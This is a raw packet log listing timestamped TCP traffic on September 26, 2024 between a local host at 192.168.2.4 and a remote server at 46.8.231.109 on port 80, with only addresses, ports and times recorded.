Sep 26, 2024 19:05:18.581031084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581077099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581077099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581240892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581252098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581269979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581289053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581302881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581312895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581314087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581324100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581336021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581346989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581355095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581361055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581394911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581576109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581598997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581609011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581617117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581629992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581640959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581645966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581660986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581672907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581680059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581692934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581724882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581724882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581840038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581954956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.581980944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.581991911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582010984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582022905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582031012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582031012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582043886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582051039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582055092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582077026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582082987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582082987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582087040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582108021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582118034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582139969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582139969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582165956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582339048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582350969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582371950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582382917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582397938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582397938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582397938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582434893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582434893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582434893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582462072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582473993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582492113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582495928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582508087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582523108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582523108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582523108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582542896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582555056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582555056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582591057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582870960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582881927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582902908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582914114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582928896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582928896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582933903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582946062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582948923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582961082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.582967043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.582974911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583005905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583005905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583352089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583364010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583390951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583403111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583403111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583415031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583425999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583429098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583445072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583456993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583457947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583468914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583482981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583486080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583492041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583499908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583511114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583523035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583528042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583528042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583542109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583548069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583554029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583574057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583581924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583581924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583585024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583615065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583615065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583626986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583718061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583760023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583769083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583771944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583811045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583811045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583841085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583853006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583878040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583890915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.583903074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583903074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583923101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583950996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.583961010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584011078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584048986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584059954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584078074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584095001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584103107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584103107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584115028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584125996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584139109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584139109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584146023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584187031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584187031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584352016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584362984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584388971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584403038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584404945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584404945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584419012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584431887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584438086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584438086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584453106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584464073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584476948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584476948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584506989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584506989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584738016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584748983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584767103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584793091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584793091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584826946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584894896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584906101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584927082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584937096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584954023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584954023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584955931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584965944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584985018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.584985018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584985018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.584996939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585016966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585021019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585021019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585027933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585053921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585064888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585067987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585067987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585138083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585263014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585274935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585304022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585329056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585340023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585347891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585359097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585371017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585381985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585381985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585395098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585406065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.585407019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585407019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.585484028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667361975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667376995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667424917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667447090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667468071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667479992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667503119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667526007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667570114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667578936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667586088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667612076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667634010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667644978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667668104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667673111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667673111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667716026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667716026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667745113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667757034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667798042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667798042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667896032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667907000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667928934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667941093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667953014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667953014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667960882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.667999983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.667999983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668020010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668030024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668070078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668086052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668088913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668106079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668119907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668131113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668131113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668292999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668304920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668333054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668333054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668334961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668345928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668365955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668376923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668378115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668378115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668426037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668426037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668579102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668605089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668628931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668641090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668649912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668649912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668663025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668673038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668674946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668701887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668703079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668719053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668905020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668915033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668932915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668945074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668962002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668970108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668970108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668982983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.668992996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.668994904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669023991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669023991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669029951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669042110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669106960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669133902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669146061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669163942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669174910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669184923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669184923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669195890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669205904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669219971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669219971 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669229984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669240952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669260979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669260979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669312000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669467926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669480085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669501066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669512033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669517040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669517040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669532061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669543028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669559956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669559956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669564009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669574022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669601917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669601917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669742107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669786930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669810057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669821024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669837952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669837952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669841051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669853926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669872999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669879913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669879913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669888973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669902086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669909000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669909000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669923067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669934034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.669945002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.669945002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670144081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670156002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670176029 CEST	80	49735	46.8.231.109	192.168.2.4
